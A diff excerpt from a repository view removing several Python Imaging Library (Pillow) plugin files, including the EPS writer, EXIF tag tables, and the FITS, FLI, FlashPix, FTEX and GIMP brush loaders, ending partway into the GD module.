# we can't incrementally load, so force ImageFile.parser to
# use our custom load method by defining this method.
pass
#
# --------------------------------------------------------------------
def _save(im, fp, filename, eps=1):
"""EPS Writer for the Python Imaging Library."""
#
# make sure image data is available
im.load()
#
# determine PostScript image mode
if im.mode == "L":
operator = (8, 1, b"image")
elif im.mode == "RGB":
operator = (8, 3, b"false 3 colorimage")
elif im.mode == "CMYK":
operator = (8, 4, b"false 4 colorimage")
else:
raise ValueError("image mode is not supported")
if eps:
#
# write EPS header
fp.write(b"%!PS-Adobe-3.0 EPSF-3.0\n")
fp.write(b"%%Creator: PIL 0.1 EpsEncode\n")
# fp.write("%%CreationDate: %s"...)
fp.write(b"%%%%BoundingBox: 0 0 %d %d\n" % im.size)
fp.write(b"%%Pages: 1\n")
fp.write(b"%%EndComments\n")
fp.write(b"%%Page: 1 1\n")
fp.write(b"%%ImageData: %d %d " % im.size)
fp.write(b'%d %d 0 1 1 "%s"\n' % operator)
#
# image header
fp.write(b"gsave\n")
fp.write(b"10 dict begin\n")
fp.write(b"/buf %d string def\n" % (im.size[0] * operator[1]))
fp.write(b"%d %d scale\n" % im.size)
fp.write(b"%d %d 8\n" % im.size) # <= bits
fp.write(b"[%d 0 0 -%d 0 %d]\n" % (im.size[0], im.size[1], im.size[1]))
fp.write(b"{ currentfile buf readhexstring pop } bind\n")
fp.write(operator[2] + b"\n")
if hasattr(fp, "flush"):
fp.flush()
ImageFile._save(im, fp, [("eps", (0, 0) + im.size, 0, None)])
fp.write(b"\n%%%%EndBinary\n")
fp.write(b"grestore end\n")
if hasattr(fp, "flush"):
fp.flush()
#
# --------------------------------------------------------------------
Image.register_open(EpsImageFile.format, EpsImageFile, _accept)
Image.register_save(EpsImageFile.format, _save)
Image.register_extensions(EpsImageFile.format, [".ps", ".eps"])
Image.register_mime(EpsImageFile.format, "application/postscript")

View File

@@ -1,340 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# EXIF tags
#
# Copyright (c) 2003 by Secret Labs AB
#
# See the README file for information on usage and redistribution.
#
"""
This module provides constants and clear-text names for various
well-known EXIF tags.
"""
from enum import IntEnum
class Base(IntEnum):
# possibly incomplete
InteropIndex = 0x0001
ProcessingSoftware = 0x000B
NewSubfileType = 0x00FE
SubfileType = 0x00FF
ImageWidth = 0x0100
ImageLength = 0x0101
BitsPerSample = 0x0102
Compression = 0x0103
PhotometricInterpretation = 0x0106
Thresholding = 0x0107
CellWidth = 0x0108
CellLength = 0x0109
FillOrder = 0x010A
DocumentName = 0x010D
ImageDescription = 0x010E
Make = 0x010F
Model = 0x0110
StripOffsets = 0x0111
Orientation = 0x0112
SamplesPerPixel = 0x0115
RowsPerStrip = 0x0116
StripByteCounts = 0x0117
MinSampleValue = 0x0118
MaxSampleValue = 0x0119
XResolution = 0x011A
YResolution = 0x011B
PlanarConfiguration = 0x011C
PageName = 0x011D
FreeOffsets = 0x0120
FreeByteCounts = 0x0121
GrayResponseUnit = 0x0122
GrayResponseCurve = 0x0123
T4Options = 0x0124
T6Options = 0x0125
ResolutionUnit = 0x0128
PageNumber = 0x0129
TransferFunction = 0x012D
Software = 0x0131
DateTime = 0x0132
Artist = 0x013B
HostComputer = 0x013C
Predictor = 0x013D
WhitePoint = 0x013E
PrimaryChromaticities = 0x013F
ColorMap = 0x0140
HalftoneHints = 0x0141
TileWidth = 0x0142
TileLength = 0x0143
TileOffsets = 0x0144
TileByteCounts = 0x0145
SubIFDs = 0x014A
InkSet = 0x014C
InkNames = 0x014D
NumberOfInks = 0x014E
DotRange = 0x0150
TargetPrinter = 0x0151
ExtraSamples = 0x0152
SampleFormat = 0x0153
SMinSampleValue = 0x0154
SMaxSampleValue = 0x0155
TransferRange = 0x0156
ClipPath = 0x0157
XClipPathUnits = 0x0158
YClipPathUnits = 0x0159
Indexed = 0x015A
JPEGTables = 0x015B
OPIProxy = 0x015F
JPEGProc = 0x0200
JpegIFOffset = 0x0201
JpegIFByteCount = 0x0202
JpegRestartInterval = 0x0203
JpegLosslessPredictors = 0x0205
JpegPointTransforms = 0x0206
JpegQTables = 0x0207
JpegDCTables = 0x0208
JpegACTables = 0x0209
YCbCrCoefficients = 0x0211
YCbCrSubSampling = 0x0212
YCbCrPositioning = 0x0213
ReferenceBlackWhite = 0x0214
XMLPacket = 0x02BC
RelatedImageFileFormat = 0x1000
RelatedImageWidth = 0x1001
RelatedImageLength = 0x1002
Rating = 0x4746
RatingPercent = 0x4749
ImageID = 0x800D
CFARepeatPatternDim = 0x828D
BatteryLevel = 0x828F
Copyright = 0x8298
ExposureTime = 0x829A
FNumber = 0x829D
IPTCNAA = 0x83BB
ImageResources = 0x8649
ExifOffset = 0x8769
InterColorProfile = 0x8773
ExposureProgram = 0x8822
SpectralSensitivity = 0x8824
GPSInfo = 0x8825
ISOSpeedRatings = 0x8827
OECF = 0x8828
Interlace = 0x8829
TimeZoneOffset = 0x882A
SelfTimerMode = 0x882B
SensitivityType = 0x8830
StandardOutputSensitivity = 0x8831
RecommendedExposureIndex = 0x8832
ISOSpeed = 0x8833
ISOSpeedLatitudeyyy = 0x8834
ISOSpeedLatitudezzz = 0x8835
ExifVersion = 0x9000
DateTimeOriginal = 0x9003
DateTimeDigitized = 0x9004
OffsetTime = 0x9010
OffsetTimeOriginal = 0x9011
OffsetTimeDigitized = 0x9012
ComponentsConfiguration = 0x9101
CompressedBitsPerPixel = 0x9102
ShutterSpeedValue = 0x9201
ApertureValue = 0x9202
BrightnessValue = 0x9203
ExposureBiasValue = 0x9204
MaxApertureValue = 0x9205
SubjectDistance = 0x9206
MeteringMode = 0x9207
LightSource = 0x9208
Flash = 0x9209
FocalLength = 0x920A
Noise = 0x920D
ImageNumber = 0x9211
SecurityClassification = 0x9212
ImageHistory = 0x9213
TIFFEPStandardID = 0x9216
MakerNote = 0x927C
UserComment = 0x9286
SubsecTime = 0x9290
SubsecTimeOriginal = 0x9291
SubsecTimeDigitized = 0x9292
AmbientTemperature = 0x9400
Humidity = 0x9401
Pressure = 0x9402
WaterDepth = 0x9403
Acceleration = 0x9404
CameraElevationAngle = 0x9405
XPTitle = 0x9C9B
XPComment = 0x9C9C
XPAuthor = 0x9C9D
XPKeywords = 0x9C9E
XPSubject = 0x9C9F
FlashPixVersion = 0xA000
ColorSpace = 0xA001
ExifImageWidth = 0xA002
ExifImageHeight = 0xA003
RelatedSoundFile = 0xA004
ExifInteroperabilityOffset = 0xA005
FlashEnergy = 0xA20B
SpatialFrequencyResponse = 0xA20C
FocalPlaneXResolution = 0xA20E
FocalPlaneYResolution = 0xA20F
FocalPlaneResolutionUnit = 0xA210
SubjectLocation = 0xA214
ExposureIndex = 0xA215
SensingMethod = 0xA217
FileSource = 0xA300
SceneType = 0xA301
CFAPattern = 0xA302
CustomRendered = 0xA401
ExposureMode = 0xA402
WhiteBalance = 0xA403
DigitalZoomRatio = 0xA404
FocalLengthIn35mmFilm = 0xA405
SceneCaptureType = 0xA406
GainControl = 0xA407
Contrast = 0xA408
Saturation = 0xA409
Sharpness = 0xA40A
DeviceSettingDescription = 0xA40B
SubjectDistanceRange = 0xA40C
ImageUniqueID = 0xA420
CameraOwnerName = 0xA430
BodySerialNumber = 0xA431
LensSpecification = 0xA432
LensMake = 0xA433
LensModel = 0xA434
LensSerialNumber = 0xA435
CompositeImage = 0xA460
CompositeImageCount = 0xA461
CompositeImageExposureTimes = 0xA462
Gamma = 0xA500
PrintImageMatching = 0xC4A5
DNGVersion = 0xC612
DNGBackwardVersion = 0xC613
UniqueCameraModel = 0xC614
LocalizedCameraModel = 0xC615
CFAPlaneColor = 0xC616
CFALayout = 0xC617
LinearizationTable = 0xC618
BlackLevelRepeatDim = 0xC619
BlackLevel = 0xC61A
BlackLevelDeltaH = 0xC61B
BlackLevelDeltaV = 0xC61C
WhiteLevel = 0xC61D
DefaultScale = 0xC61E
DefaultCropOrigin = 0xC61F
DefaultCropSize = 0xC620
ColorMatrix1 = 0xC621
ColorMatrix2 = 0xC622
CameraCalibration1 = 0xC623
CameraCalibration2 = 0xC624
ReductionMatrix1 = 0xC625
ReductionMatrix2 = 0xC626
AnalogBalance = 0xC627
AsShotNeutral = 0xC628
AsShotWhiteXY = 0xC629
BaselineExposure = 0xC62A
BaselineNoise = 0xC62B
BaselineSharpness = 0xC62C
BayerGreenSplit = 0xC62D
LinearResponseLimit = 0xC62E
CameraSerialNumber = 0xC62F
LensInfo = 0xC630
ChromaBlurRadius = 0xC631
AntiAliasStrength = 0xC632
ShadowScale = 0xC633
DNGPrivateData = 0xC634
MakerNoteSafety = 0xC635
CalibrationIlluminant1 = 0xC65A
CalibrationIlluminant2 = 0xC65B
BestQualityScale = 0xC65C
RawDataUniqueID = 0xC65D
OriginalRawFileName = 0xC68B
OriginalRawFileData = 0xC68C
ActiveArea = 0xC68D
MaskedAreas = 0xC68E
AsShotICCProfile = 0xC68F
AsShotPreProfileMatrix = 0xC690
CurrentICCProfile = 0xC691
CurrentPreProfileMatrix = 0xC692
ColorimetricReference = 0xC6BF
CameraCalibrationSignature = 0xC6F3
ProfileCalibrationSignature = 0xC6F4
AsShotProfileName = 0xC6F6
NoiseReductionApplied = 0xC6F7
ProfileName = 0xC6F8
ProfileHueSatMapDims = 0xC6F9
ProfileHueSatMapData1 = 0xC6FA
ProfileHueSatMapData2 = 0xC6FB
ProfileToneCurve = 0xC6FC
ProfileEmbedPolicy = 0xC6FD
ProfileCopyright = 0xC6FE
ForwardMatrix1 = 0xC714
ForwardMatrix2 = 0xC715
PreviewApplicationName = 0xC716
PreviewApplicationVersion = 0xC717
PreviewSettingsName = 0xC718
PreviewSettingsDigest = 0xC719
PreviewColorSpace = 0xC71A
PreviewDateTime = 0xC71B
RawImageDigest = 0xC71C
OriginalRawFileDigest = 0xC71D
SubTileBlockSize = 0xC71E
RowInterleaveFactor = 0xC71F
ProfileLookTableDims = 0xC725
ProfileLookTableData = 0xC726
OpcodeList1 = 0xC740
OpcodeList2 = 0xC741
OpcodeList3 = 0xC74E
NoiseProfile = 0xC761
"""Maps EXIF tags to tag names."""
TAGS = {
**{i.value: i.name for i in Base},
0x920C: "SpatialFrequencyResponse",
0x9214: "SubjectLocation",
0x9215: "ExposureIndex",
0x828E: "CFAPattern",
0x920B: "FlashEnergy",
0x9216: "TIFF/EPStandardID",
}
class GPS(IntEnum):
GPSVersionID = 0
GPSLatitudeRef = 1
GPSLatitude = 2
GPSLongitudeRef = 3
GPSLongitude = 4
GPSAltitudeRef = 5
GPSAltitude = 6
GPSTimeStamp = 7
GPSSatellites = 8
GPSStatus = 9
GPSMeasureMode = 10
GPSDOP = 11
GPSSpeedRef = 12
GPSSpeed = 13
GPSTrackRef = 14
GPSTrack = 15
GPSImgDirectionRef = 16
GPSImgDirection = 17
GPSMapDatum = 18
GPSDestLatitudeRef = 19
GPSDestLatitude = 20
GPSDestLongitudeRef = 21
GPSDestLongitude = 22
GPSDestBearingRef = 23
GPSDestBearing = 24
GPSDestDistanceRef = 25
GPSDestDistance = 26
GPSProcessingMethod = 27
GPSAreaInformation = 28
GPSDateStamp = 29
GPSDifferential = 30
GPSHPositioningError = 31
"""Maps EXIF GPS tags to tag names."""
GPSTAGS = {i.value: i.name for i in GPS}

View File

@@ -1,71 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# FITS file handling
#
# Copyright (c) 1998-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
import math
from . import Image, ImageFile
def _accept(prefix):
return prefix[:6] == b"SIMPLE"
class FitsImageFile(ImageFile.ImageFile):
format = "FITS"
format_description = "FITS"
def _open(self):
headers = {}
while True:
header = self.fp.read(80)
if not header:
raise OSError("Truncated FITS file")
keyword = header[:8].strip()
if keyword == b"END":
break
value = header[8:].strip()
if value.startswith(b"="):
value = value[1:].strip()
if not headers and (not _accept(keyword) or value != b"T"):
raise SyntaxError("Not a FITS file")
headers[keyword] = value
naxis = int(headers[b"NAXIS"])
if naxis == 0:
raise ValueError("No image data")
elif naxis == 1:
self._size = 1, int(headers[b"NAXIS1"])
else:
self._size = int(headers[b"NAXIS1"]), int(headers[b"NAXIS2"])
number_of_bits = int(headers[b"BITPIX"])
if number_of_bits == 8:
self.mode = "L"
elif number_of_bits == 16:
self.mode = "I"
# rawmode = "I;16S"
elif number_of_bits == 32:
self.mode = "I"
elif number_of_bits in (-32, -64):
self.mode = "F"
# rawmode = "F" if number_of_bits == -32 else "F;64F"
offset = math.ceil(self.fp.tell() / 2880) * 2880
self.tile = [("raw", (0, 0) + self.size, offset, (self.mode, 0, -1))]
# --------------------------------------------------------------------
# Registry
Image.register_open(FitsImageFile.format, FitsImageFile, _accept)
Image.register_extensions(FitsImageFile.format, [".fit", ".fits"])

View File

@@ -1,76 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# FITS stub adapter
#
# Copyright (c) 1998-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
from . import FitsImagePlugin, Image, ImageFile
from ._deprecate import deprecate
_handler = None
def register_handler(handler):
"""
Install application-specific FITS image handler.
:param handler: Handler object.
"""
global _handler
_handler = handler
deprecate(
"FitsStubImagePlugin",
10,
action="FITS images can now be read without "
"a handler through FitsImagePlugin instead",
)
# Override FitsImagePlugin with this handler
# for backwards compatibility
try:
Image.ID.remove(FITSStubImageFile.format)
except ValueError:
pass
Image.register_open(
FITSStubImageFile.format, FITSStubImageFile, FitsImagePlugin._accept
)
class FITSStubImageFile(ImageFile.StubImageFile):
format = FitsImagePlugin.FitsImageFile.format
format_description = FitsImagePlugin.FitsImageFile.format_description
def _open(self):
offset = self.fp.tell()
im = FitsImagePlugin.FitsImageFile(self.fp)
self._size = im.size
self.mode = im.mode
self.tile = []
self.fp.seek(offset)
loader = self._load()
if loader:
loader.open(self)
def _load(self):
return _handler
def _save(im, fp, filename):
raise OSError("FITS save handler not installed")
# --------------------------------------------------------------------
# Registry
Image.register_save(FITSStubImageFile.format, _save)

View File

@@ -1,171 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# FLI/FLC file handling.
#
# History:
# 95-09-01 fl Created
# 97-01-03 fl Fixed parser, setup decoder tile
# 98-07-15 fl Renamed offset attribute to avoid name clash
#
# Copyright (c) Secret Labs AB 1997-98.
# Copyright (c) Fredrik Lundh 1995-97.
#
# See the README file for information on usage and redistribution.
#
import os
from . import Image, ImageFile, ImagePalette
from ._binary import i16le as i16
from ._binary import i32le as i32
from ._binary import o8
#
# decoder
def _accept(prefix):
return (
len(prefix) >= 6
and i16(prefix, 4) in [0xAF11, 0xAF12]
and i16(prefix, 14) in [0, 3] # flags
)
##
# Image plugin for the FLI/FLC animation format. Use the <b>seek</b>
# method to load individual frames.
class FliImageFile(ImageFile.ImageFile):
format = "FLI"
format_description = "Autodesk FLI/FLC Animation"
_close_exclusive_fp_after_loading = False
def _open(self):
# HEAD
s = self.fp.read(128)
if not (_accept(s) and s[20:22] == b"\x00\x00"):
raise SyntaxError("not an FLI/FLC file")
# frames
self.n_frames = i16(s, 6)
self.is_animated = self.n_frames > 1
# image characteristics
self.mode = "P"
self._size = i16(s, 8), i16(s, 10)
# animation speed
duration = i32(s, 16)
magic = i16(s, 4)
if magic == 0xAF11:
duration = (duration * 1000) // 70
self.info["duration"] = duration
# look for palette
palette = [(a, a, a) for a in range(256)]
s = self.fp.read(16)
self.__offset = 128
if i16(s, 4) == 0xF100:
# prefix chunk; ignore it
self.__offset = self.__offset + i32(s)
s = self.fp.read(16)
if i16(s, 4) == 0xF1FA:
# look for palette chunk
number_of_subchunks = i16(s, 6)
chunk_size = None
for _ in range(number_of_subchunks):
if chunk_size is not None:
self.fp.seek(chunk_size - 6, os.SEEK_CUR)
s = self.fp.read(6)
chunk_type = i16(s, 4)
if chunk_type in (4, 11):
self._palette(palette, 2 if chunk_type == 11 else 0)
break
chunk_size = i32(s)
if not chunk_size:
break
palette = [o8(r) + o8(g) + o8(b) for (r, g, b) in palette]
self.palette = ImagePalette.raw("RGB", b"".join(palette))
# set things up to decode first frame
self.__frame = -1
self._fp = self.fp
self.__rewind = self.fp.tell()
self.seek(0)
def _palette(self, palette, shift):
# load palette
i = 0
for e in range(i16(self.fp.read(2))):
s = self.fp.read(2)
i = i + s[0]
n = s[1]
if n == 0:
n = 256
s = self.fp.read(n * 3)
for n in range(0, len(s), 3):
r = s[n] << shift
g = s[n + 1] << shift
b = s[n + 2] << shift
palette[i] = (r, g, b)
i += 1
def seek(self, frame):
if not self._seek_check(frame):
return
if frame < self.__frame:
self._seek(0)
for f in range(self.__frame + 1, frame + 1):
self._seek(f)
def _seek(self, frame):
if frame == 0:
self.__frame = -1
self._fp.seek(self.__rewind)
self.__offset = 128
else:
# ensure that the previous frame was loaded
self.load()
if frame != self.__frame + 1:
raise ValueError(f"cannot seek to frame {frame}")
self.__frame = frame
# move to next frame
self.fp = self._fp
self.fp.seek(self.__offset)
s = self.fp.read(4)
if not s:
raise EOFError
framesize = i32(s)
self.decodermaxblock = framesize
self.tile = [("fli", (0, 0) + self.size, self.__offset, None)]
self.__offset += framesize
def tell(self):
return self.__frame
#
# registry
Image.register_open(FliImageFile.format, FliImageFile, _accept)
Image.register_extensions(FliImageFile.format, [".fli", ".flc"])

View File

@@ -1,111 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# base class for raster font file parsers
#
# history:
# 1997-06-05 fl created
# 1997-08-19 fl restrict image width
#
# Copyright (c) 1997-1998 by Secret Labs AB
# Copyright (c) 1997-1998 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
import os
from . import Image, _binary
WIDTH = 800
def puti16(fp, values):
"""Write network order (big-endian) 16-bit sequence"""
for v in values:
if v < 0:
v += 65536
fp.write(_binary.o16be(v))
class FontFile:
"""Base class for raster font file handlers."""
bitmap = None
def __init__(self):
self.info = {}
self.glyph = [None] * 256
def __getitem__(self, ix):
return self.glyph[ix]
def compile(self):
"""Create metrics and bitmap"""
if self.bitmap:
return
# create bitmap large enough to hold all data
h = w = maxwidth = 0
lines = 1
for glyph in self:
if glyph:
d, dst, src, im = glyph
h = max(h, src[3] - src[1])
w = w + (src[2] - src[0])
if w > WIDTH:
lines += 1
w = src[2] - src[0]
maxwidth = max(maxwidth, w)
xsize = maxwidth
ysize = lines * h
if xsize == 0 and ysize == 0:
return ""
self.ysize = h
# paste glyphs into bitmap
self.bitmap = Image.new("1", (xsize, ysize))
self.metrics = [None] * 256
x = y = 0
for i in range(256):
glyph = self[i]
if glyph:
d, dst, src, im = glyph
xx = src[2] - src[0]
# yy = src[3] - src[1]
x0, y0 = x, y
x = x + xx
if x > WIDTH:
x, y = 0, y + h
x0, y0 = x, y
x = xx
s = src[0] + x0, src[1] + y0, src[2] + x0, src[3] + y0
self.bitmap.paste(im.crop(src), s)
self.metrics[i] = d, dst, s
def save(self, filename):
"""Save font"""
self.compile()
# font data
self.bitmap.save(os.path.splitext(filename)[0] + ".pbm", "PNG")
# font metrics
with open(os.path.splitext(filename)[0] + ".pil", "wb") as fp:
fp.write(b"PILfont\n")
fp.write(f";;;;;;{self.ysize};\n".encode("ascii")) # HACK!!!
fp.write(b"DATA\n")
for id in range(256):
m = self.metrics[id]
if not m:
puti16(fp, [0] * 10)
else:
puti16(fp, m[0] + m[1] + m[2])

View File

@@ -1,245 +0,0 @@
#
# THIS IS WORK IN PROGRESS
#
# The Python Imaging Library.
# $Id$
#
# FlashPix support for PIL
#
# History:
# 97-01-25 fl Created (reads uncompressed RGB images only)
#
# Copyright (c) Secret Labs AB 1997.
# Copyright (c) Fredrik Lundh 1997.
#
# See the README file for information on usage and redistribution.
#
import olefile
from . import Image, ImageFile
from ._binary import i32le as i32
# we map from colour field tuples to (mode, rawmode) descriptors
MODES = {
# opacity
(0x00007FFE,): ("A", "L"),
# monochrome
(0x00010000,): ("L", "L"),
(0x00018000, 0x00017FFE): ("RGBA", "LA"),
# photo YCC
(0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),
(0x00028000, 0x00028001, 0x00028002, 0x00027FFE): ("RGBA", "YCCA;P"),
# standard RGB (NIFRGB)
(0x00030000, 0x00030001, 0x00030002): ("RGB", "RGB"),
(0x00038000, 0x00038001, 0x00038002, 0x00037FFE): ("RGBA", "RGBA"),
}
#
# --------------------------------------------------------------------
def _accept(prefix):
return prefix[:8] == olefile.MAGIC
##
# Image plugin for the FlashPix images.
class FpxImageFile(ImageFile.ImageFile):
format = "FPX"
format_description = "FlashPix"
def _open(self):
#
# read the OLE directory and see if this is a likely
# to be a FlashPix file
try:
self.ole = olefile.OleFileIO(self.fp)
except OSError as e:
raise SyntaxError("not an FPX file; invalid OLE file") from e
if self.ole.root.clsid != "56616700-C154-11CE-8553-00AA00A1F95B":
raise SyntaxError("not an FPX file; bad root CLSID")
self._open_index(1)
def _open_index(self, index=1):
#
# get the Image Contents Property Set
prop = self.ole.getproperties(
[f"Data Object Store {index:06d}", "\005Image Contents"]
)
# size (highest resolution)
self._size = prop[0x1000002], prop[0x1000003]
size = max(self.size)
i = 1
while size > 64:
size = size / 2
i += 1
self.maxid = i - 1
# mode. instead of using a single field for this, flashpix
# requires you to specify the mode for each channel in each
# resolution subimage, and leaves it to the decoder to make
# sure that they all match. for now, we'll cheat and assume
# that this is always the case.
id = self.maxid << 16
s = prop[0x2000002 | id]
colors = []
bands = i32(s, 4)
if bands > 4:
raise OSError("Invalid number of bands")
for i in range(bands):
# note: for now, we ignore the "uncalibrated" flag
colors.append(i32(s, 8 + i * 4) & 0x7FFFFFFF)
self.mode, self.rawmode = MODES[tuple(colors)]
# load JPEG tables, if any
self.jpeg = {}
for i in range(256):
id = 0x3000001 | (i << 16)
if id in prop:
self.jpeg[i] = prop[id]
self._open_subimage(1, self.maxid)
def _open_subimage(self, index=1, subimage=0):
#
# setup tile descriptors for a given subimage
stream = [
f"Data Object Store {index:06d}",
f"Resolution {subimage:04d}",
"Subimage 0000 Header",
]
fp = self.ole.openstream(stream)
# skip prefix
fp.read(28)
# header stream
s = fp.read(36)
size = i32(s, 4), i32(s, 8)
# tilecount = i32(s, 12)
tilesize = i32(s, 16), i32(s, 20)
# channels = i32(s, 24)
offset = i32(s, 28)
length = i32(s, 32)
if size != self.size:
raise OSError("subimage mismatch")
# get tile descriptors
fp.seek(28 + offset)
s = fp.read(i32(s, 12) * length)
x = y = 0
xsize, ysize = size
xtile, ytile = tilesize
self.tile = []
for i in range(0, len(s), length):
x1 = min(xsize, x + xtile)
y1 = min(ysize, y + ytile)
compression = i32(s, i + 8)
if compression == 0:
self.tile.append(
(
"raw",
(x, y, x1, y1),
i32(s, i) + 28,
(self.rawmode,),
)
)
elif compression == 1:
# FIXME: the fill decoder is not implemented
self.tile.append(
(
"fill",
(x, y, x1, y1),
i32(s, i) + 28,
(self.rawmode, s[12:16]),
)
)
elif compression == 2:
internal_color_conversion = s[14]
jpeg_tables = s[15]
rawmode = self.rawmode
if internal_color_conversion:
# The image is stored as usual (usually YCbCr).
if rawmode == "RGBA":
# For "RGBA", data is stored as YCbCrA based on
# negative RGB. The following trick works around
# this problem :
jpegmode, rawmode = "YCbCrK", "CMYK"
else:
jpegmode = None # let the decoder decide
else:
# The image is stored as defined by rawmode
jpegmode = rawmode
self.tile.append(
(
"jpeg",
(x, y, x1, y1),
i32(s, i) + 28,
(rawmode, jpegmode),
)
)
# FIXME: jpeg tables are tile dependent; the prefix
# data must be placed in the tile descriptor itself!
if jpeg_tables:
self.tile_prefix = self.jpeg[jpeg_tables]
else:
raise OSError("unknown/invalid compression")
x = x + xtile
if x >= xsize:
x, y = 0, y + ytile
if y >= ysize:
break # isn't really required
self.stream = stream
self.fp = None
def load(self):
if not self.fp:
self.fp = self.ole.openstream(self.stream[:2] + ["Subimage 0000 Data"])
return ImageFile.ImageFile.load(self)
#
# --------------------------------------------------------------------
Image.register_open(FpxImageFile.format, FpxImageFile, _accept)
Image.register_extension(FpxImageFile.format, ".fpx")

View File

@@ -1,122 +0,0 @@
"""
A Pillow loader for .ftc and .ftu files (FTEX)
Jerome Leclanche <jerome@leclan.ch>
The contents of this file are hereby released in the public domain (CC0)
Full text of the CC0 license:
https://creativecommons.org/publicdomain/zero/1.0/
Independence War 2: Edge Of Chaos - Texture File Format - 16 October 2001
The textures used for 3D objects in Independence War 2: Edge Of Chaos are in a
packed custom format called FTEX. This file format uses file extensions FTC
and FTU.
* FTC files are compressed textures (using standard texture compression).
* FTU files are not compressed.
Texture File Format
The FTC and FTU texture files both use the same format. This
has the following structure:
{header}
{format_directory}
{data}
Where:
{header} = {
u32:magic,
u32:version,
u32:width,
u32:height,
u32:mipmap_count,
u32:format_count
}
* The "magic" number is "FTEX".
* "width" and "height" are the dimensions of the texture.
* "mipmap_count" is the number of mipmaps in the texture.
* "format_count" is the number of texture formats (different versions of the
same texture) in this file.
{format_directory} = format_count * { u32:format, u32:where }
The format value is 0 for DXT1 compressed textures and 1 for 24-bit RGB
uncompressed textures.
The texture data for a format starts at the position "where" in the file.
Each set of texture data in the file has the following structure:
{data} = format_count * { u32:mipmap_size, mipmap_size * { u8 } }
* "mipmap_size" is the number of bytes in that mip level. For compressed
textures this is the size of the texture data compressed with DXT1. For 24 bit
uncompressed textures, this is 3 * width * height. Following this are the image
bytes for that mipmap level.
Note: All data is stored in little-Endian (Intel) byte order.
"""
import struct
from enum import IntEnum
from io import BytesIO
from . import Image, ImageFile
from ._deprecate import deprecate
MAGIC = b"FTEX"
class Format(IntEnum):
DXT1 = 0
UNCOMPRESSED = 1
def __getattr__(name):
for enum, prefix in {Format: "FORMAT_"}.items():
if name.startswith(prefix):
name = name[len(prefix) :]
if name in enum.__members__:
deprecate(f"{prefix}{name}", 10, f"{enum.__name__}.{name}")
return enum[name]
raise AttributeError(f"module '{__name__}' has no attribute '{name}'")
class FtexImageFile(ImageFile.ImageFile):
format = "FTEX"
format_description = "Texture File Format (IW2:EOC)"
def _open(self):
if not _accept(self.fp.read(4)):
raise SyntaxError("not an FTEX file")
struct.unpack("<i", self.fp.read(4)) # version
self._size = struct.unpack("<2i", self.fp.read(8))
mipmap_count, format_count = struct.unpack("<2i", self.fp.read(8))
self.mode = "RGB"
# Only support single-format files.
# I don't know of any multi-format file.
assert format_count == 1
format, where = struct.unpack("<2i", self.fp.read(8))
self.fp.seek(where)
(mipmap_size,) = struct.unpack("<i", self.fp.read(4))
data = self.fp.read(mipmap_size)
if format == Format.DXT1:
self.mode = "RGBA"
self.tile = [("bcn", (0, 0) + self.size, 0, 1)]
elif format == Format.UNCOMPRESSED:
self.tile = [("raw", (0, 0) + self.size, 0, ("RGB", 0, 1))]
else:
raise ValueError(f"Invalid texture compression format: {repr(format)}")
self.fp.close()
self.fp = BytesIO(data)
def load_seek(self, pos):
pass
def _accept(prefix):
return prefix[:4] == MAGIC
Image.register_open(FtexImageFile.format, FtexImageFile, _accept)
Image.register_extensions(FtexImageFile.format, [".ftc", ".ftu"])

View File

@@ -1,98 +0,0 @@
#
# The Python Imaging Library
#
# load a GIMP brush file
#
# History:
# 96-03-14 fl Created
# 16-01-08 es Version 2
#
# Copyright (c) Secret Labs AB 1997.
# Copyright (c) Fredrik Lundh 1996.
# Copyright (c) Eric Soroos 2016.
#
# See the README file for information on usage and redistribution.
#
#
# See https://github.com/GNOME/gimp/blob/mainline/devel-docs/gbr.txt for
# format documentation.
#
# This code Interprets version 1 and 2 .gbr files.
# Version 1 files are obsolete, and should not be used for new
# brushes.
# Version 2 files are saved by GIMP v2.8 (at least)
# Version 3 files have a format specifier of 18 for 16bit floats in
# the color depth field. This is currently unsupported by Pillow.
from . import Image, ImageFile
from ._binary import i32be as i32
def _accept(prefix):
return len(prefix) >= 8 and i32(prefix, 0) >= 20 and i32(prefix, 4) in (1, 2)
##
# Image plugin for the GIMP brush format.
class GbrImageFile(ImageFile.ImageFile):
format = "GBR"
format_description = "GIMP brush file"
def _open(self):
header_size = i32(self.fp.read(4))
if header_size < 20:
raise SyntaxError("not a GIMP brush")
version = i32(self.fp.read(4))
if version not in (1, 2):
raise SyntaxError(f"Unsupported GIMP brush version: {version}")
width = i32(self.fp.read(4))
height = i32(self.fp.read(4))
color_depth = i32(self.fp.read(4))
if width <= 0 or height <= 0:
raise SyntaxError("not a GIMP brush")
if color_depth not in (1, 4):
raise SyntaxError(f"Unsupported GIMP brush color depth: {color_depth}")
if version == 1:
comment_length = header_size - 20
else:
comment_length = header_size - 28
magic_number = self.fp.read(4)
if magic_number != b"GIMP":
raise SyntaxError("not a GIMP brush, bad magic number")
self.info["spacing"] = i32(self.fp.read(4))
comment = self.fp.read(comment_length)[:-1]
if color_depth == 1:
self.mode = "L"
else:
self.mode = "RGBA"
self._size = width, height
self.info["comment"] = comment
# Image might not be small
Image._decompression_bomb_check(self.size)
# Data is an uncompressed block of w * h * bytes/pixel
self._data_size = width * height * color_depth
def load(self):
if not self.im:
self.im = Image.core.new(self.mode, self.size)
self.frombytes(self.fp.read(self._data_size))
return Image.Image.load(self)
#
# registry
Image.register_open(GbrImageFile.format, GbrImageFile, _accept)
Image.register_extension(GbrImageFile.format, ".gbr")

View File

@@ -1,95 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# GD file handling
#
# History:
# 1996-04-12 fl Created
#
# Copyright (c) 1997 by Secret Labs AB.
# Copyright (c) 1996 by Fredrik Lundh.
#
# See the README file for information on usage and redistribution.
#
"""
.. note::
This format cannot be automatically recognized, so the
class is not registered for use with :py:func:`PIL.Image.open()`. To open a
gd file, use the :py:func:`PIL.GdImageFile.open()` function instead.
.. warning::
THE GD FORMAT IS NOT DESIGNED FOR DATA INTERCHANGE. This
implementation is provided for convenience and demonstrational
purposes only.
"""
from . import ImageFile, ImagePalette, UnidentifiedImageError
from ._binary import i16be as i16
